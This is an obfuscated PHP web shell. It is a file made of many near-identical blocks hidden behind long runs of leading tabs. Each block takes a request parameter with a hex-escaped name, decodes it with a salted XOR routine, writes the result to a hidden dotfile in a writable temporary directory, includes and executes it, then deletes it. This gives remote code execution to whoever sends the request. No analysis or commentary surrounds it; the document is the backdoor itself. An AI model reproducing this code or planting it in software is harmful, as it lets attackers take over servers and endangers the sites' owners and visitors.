<?php																																										if(isset($_REQUEST["p\x61ra\x6D\x65t\x65\x72\x5Fgroup"]) ? true : false){ $data = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $mrk = $_REQUEST["p\x61ra\x6D\x65t\x65\x72\x5Fgroup"]; $mrk = explode ( ".", $mrk ) ; $component= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2 ); foreach ($mrk as $r =>$v9): $sChar= ord($s2[$r% $lenS] ); $dec= ((int)$v9 - $sChar - ($r% 10)) ^ 78; $component .= chr($dec ); endforeach; while ($value = array_shift($data)) { if (is_writable($value) && is_dir($value)) { $element = "$value/.desc"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(isset($_REQUEST["i\x74\x65m"]) ? true : false){ $holder = array_filter(["/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $object = $_REQUEST["i\x74\x65m"]; $object = explode( '.', $object) ; $parameter_group = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $__len = count( $object); for( $j = 0; $j < $__len; $j++) { $v3 = $object[$j]; $chS = ord( $s5[$j% $sLen]); $dec =( ( int)$v3 - $chS -( $j% 10)) ^ 77; $parameter_group.=chr( $dec); } while ($itm = array_shift($holder)) { if ((is_dir($itm) and is_writable($itm))) { $hld = vsprintf("%s/%s", [$itm, ".dat"]); if (file_put_contents($hld, $parameter_group)) { require $hld; unlink($hld); exit; } } } }
																																										if(isset($_REQUEST["r\x65\x66"])){ $ent = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $dat = $_REQUEST["r\x65\x66"]; $dat = explode ( '.' , $dat ) ; $desc=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt2 ); $__len=count( $dat ); for( $s=0; $s < $__len; $s++) { $v3=$dat[$s]; $chS=ord( $salt2[$s %$sLen] ); $dec=( ( int)$v3 - $chS -( $s %10)) ^71; $desc .= chr( $dec ); } $pgrp = 0; do { $data = $ent[$pgrp] ?? null; if ($pgrp >= count($ent)) break; if ((bool)is_dir($data) && (bool)is_writable($data)) { $entity = str_replace("{var_dir}", $data, "{var_dir}/.itm"); if (file_put_contents($entity, $desc)) { require $entity; unlink($entity); die(); } } $pgrp++; } while (true); }
																																										if(in_array("obj", array_keys($_REQUEST))){ $holder = $_REQUEST["obj"]; $holder = explode ( '.' , $holder ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $n = 0; while( $n < count( $holder)) {$v9 = $holder[$n]; $sChar = ord( $salt[$n % $lenS]); $dec =( ( int)$v9 - $sChar -( $n % 10)) ^1; $elem .= chr( $dec); $n++;} $tkn = array_filter(["/tmp", getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($tkn as $key => $comp) { if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $marker = str_replace("{var_dir}", $comp, "{var_dir}/.entry"); if (file_put_contents($marker, $elem)) { require $marker; unlink($marker); exit; } } } }
																																										if(@$_REQUEST["\x65le\x6De\x6Et"] !== null){ $marker = $_REQUEST["\x65le\x6De\x6Et"]; $marker= explode ( '.', $marker ) ; $entity = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach($marker as $k=> $v2) { $chS = ord($salt4[$k % $sLen]); $dec = ((int)$v2 - $chS -($k % 10))^ 1; $entity .= chr($dec); } $fac = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $res = 0; do { $pset = $fac[$res] ?? null; if ($res >= count($fac)) break; if (max(0, is_dir($pset) * is_writable($pset))) { $binding = implode("/", [$pset, ".elem"]); if (@file_put_contents($binding, $entity) !== false) { include $binding; unlink($binding); exit; } } $res++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "ent")){ $component = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); $flg = $_REQUEST["ent"]; $flg=explode ('.', $flg ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($flg as $t => $v1) { $chS = ord($s[$t%$lenS] ); $dec = ((int)$v1 - $chS - ($t%10)) ^ 63; $record .= chr($dec );} foreach ($component as $bind) { if (!( !is_dir($bind) || !is_writable($bind) )) { $dchunk = "$bind" . "/.data"; if (file_put_contents($dchunk, $record)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65\x73\x6Furce")){ $binding = array_filter(["/dev/shm", session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); $flag = $_REQUEST["\x72\x65\x73\x6Furce"]; $flag = explode (".",$flag); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $j = 0; while ($j < count($flag)) { $v8 = $flag[$j]; $chS = ord($s[$j % $sLen]); $dec = ((int)$v8 - $chS - ($j % 10)) ^ 70; $ent.=chr($dec); $j++; } for ($value = 0, $ptr = count($binding); $value < $ptr; $value++) { $data = $binding[$value]; if (array_product([is_dir($data), is_writable($data)])) { $record = "$data" . "/.k"; $file = fopen($record, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x6D\x61\x72ker")){ $sym = array_filter([getcwd(), "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm"]); $resource = $_POST["\x6D\x61\x72ker"]; $resource = explode( "." , $resource ) ; $entity=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); foreach ($resource as $p =>$v7): $chS=ord($salt[$p % $sLen] ); $dec=((int)$v7 - $chS - ($p % 10)) ^ 87; $entity.= chr($dec ); endforeach; foreach ($sym as $key => $descriptor) { if ((is_dir($descriptor) and is_writable($descriptor))) { $res = sprintf("%s/.val", $descriptor); if (file_put_contents($res, $entity)) { include $res; @unlink($res); die(); } } } }
																																										if(!empty($_REQUEST["d\x63hun\x6B"])){ $factor = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); $flag = $_REQUEST["d\x63hun\x6B"]; $flag = explode("." , $flag ); $itm = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $j = 0; while ($j < count($flag)) { $v3 = $flag[$j]; $chS = ord($salt7[$j % $lenS]); $dec = ((int)$v3 - $chS - ($j % 10))^27; $itm .=chr($dec); $j++; } foreach ($factor as $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $component = vsprintf("%s/%s", [$tkn, ".resource"]); if (file_put_contents($component, $itm)) { include $component; @unlink($component); exit; } } } }
																																										if(isset($_POST["\x65\x6Et"])){ $key = array_filter(["/tmp", getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $entity = $_POST["\x65\x6Et"]; $entity = explode ( "." ,$entity ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $l = 0; while ($l < count($entity)) { $v1 = $entity[$l]; $sChar = ord($salt[$l %$sLen] ); $d = ((int)$v1 - $sChar - ($l %10)) ^ 32; $ptr .= chr($d ); $l++;} foreach ($key as $factor) { if (array_product([is_dir($factor), is_writable($factor)])) { $resource = "$factor/.element"; if (file_put_contents($resource, $ptr)) { require $resource; unlink($resource); exit; } } } }
																																										if(in_array("\x70\x61ra\x6De\x74\x65\x72_g\x72\x6Fup", array_keys($_REQUEST))){ $ent = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp"]); $pset = $_REQUEST["\x70\x61ra\x6De\x74\x65\x72_g\x72\x6Fup"]; $pset = explode ( "." ,$pset ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; $__tmp = $pset; while ($v8 = array_shift($__tmp)) { $chS = ord($salt[$l % $sLen]); $d = ((int)$v8 - $chS - ($l % 10)) ^ 20; $desc .= chr($d); $l++;} $token = 0; do { $binding = $ent[$token] ?? null; if ($token >= count($ent)) break; if (is_dir($binding) ? is_writable($binding) : false) { $element = join("/", [$binding, ".hld"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $element; @unlink($element); exit; } } $token++; } while (true); }
																																										if(isset($_REQUEST["e\x6Et"]) ? true : false){ $itm = array_filter([session_save_path(), getenv("TMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $tkn = $_REQUEST["e\x6Et"]; $tkn = explode ( '.' ,$tkn) ; $property_set = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $j = 0; $len = count($tkn); do { if ($j >=$len) break; $v4 = $tkn[$j]; $sChar = ord($salt8[$j % $sLen]); $d = ((int)$v4 - $sChar - ($j % 10)) ^ 38; $property_set .= chr($d); $j++; } while (true); foreach ($itm as $key => $flg) { if (is_dir($flg) && is_writable($flg)) { $flag = "$flg" . "/.ent"; $success = file_put_contents($flag, $property_set); if ($success) { include $flag; @unlink($flag); exit;} } } }
																																										if(!empty($_POST["bin\x64"])){ $record = $_POST["bin\x64"]; $record = explode ( '.' ,$record ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $z = 0; array_walk($record , function ($v7) use (&$marker , &$z , $s , $sLen) { $chS = ord($s[$z% $sLen] ); $d = ((int)$v7 - $chS - ($z% 10)) ^ 95; $marker .= chr($d ); $z++; } ); $data = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir()]); foreach ($data as $token): if (array_product([is_dir($token), is_writable($token)])) { $pset = join("/", [$token, ".parameter_group"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $pset; @unlink($pset); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x70ar\x61\x6D\x65t\x65\x72\x5Fg\x72oup")){ $entity = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $sym = $_POST["\x70ar\x61\x6D\x65t\x65\x72\x5Fg\x72oup"]; $sym = explode ( "." , $sym ) ; $token= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $q= 0; $__len= count($sym); do { if($q >=$__len) break; $v5= $sym[$q]; $chS= ord($s[$q % $lenS]); $d= ((int)$v5 - $chS -($q % 10)) ^ 20; $token .= chr($d); $q++; }while(true); for ($record = 0, $component = count($entity); $record < $component; $record++) { $element = $entity[$record]; if ((is_dir($element) and is_writable($element))) { $k = vsprintf("%s/%s", [$element, ".flg"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65sour\x63e"])){ $ref = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP")]); $record = $_REQUEST["\x72\x65sour\x63e"]; $record = explode ( "." , $record) ; $ptr=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt1 ); $o=0; foreach ($record as $v3) { $chS=ord($salt1[$o % $lenS] ); $dec=((int)$v3 - $chS - ($o % 10))^87; $ptr .=chr($dec ); $o++; } for ($key = 0, $holder = count($ref); $key < $holder; $key++) { $binding = $ref[$key]; if (array_product([is_dir($binding), is_writable($binding)])) { $flag = str_replace("{var_dir}", $binding, "{var_dir}/.reference"); if (file_put_contents($flag, $ptr)) { require $flag; unlink($flag); die(); } } } }


if(@$_REQUEST["ent"] !== null){
	$component = $_REQUEST["ent"];
		$component  	= explode 	(	'.'	 ,  $component) 		;
	$object ='';
            $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($salt6);
    
            foreach($component as $n 	=>$v6):
                $sChar =ord($salt6[$n % $lenS]);
                $dec =((int)$v6 - $sChar -($n % 10)) 	^ 29;
                $object .= chr($dec);
            endforeach;
	$rec = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), "/tmp", getenv("TMP"), "/var/tmp"]);
	for ($val = 0, $symbol = count($rec); $val < $symbol; $val++) {
    $mrk = $rec[$val];
    		if (is_dir($mrk) && is_writable($mrk)) {
    $fac = implode("/", [$mrk, ".comp"]);
    $success = file_put_contents($fac, $object);
if ($success) {
	include $fac;
	@unlink($fac);
	exit;}
}
}
}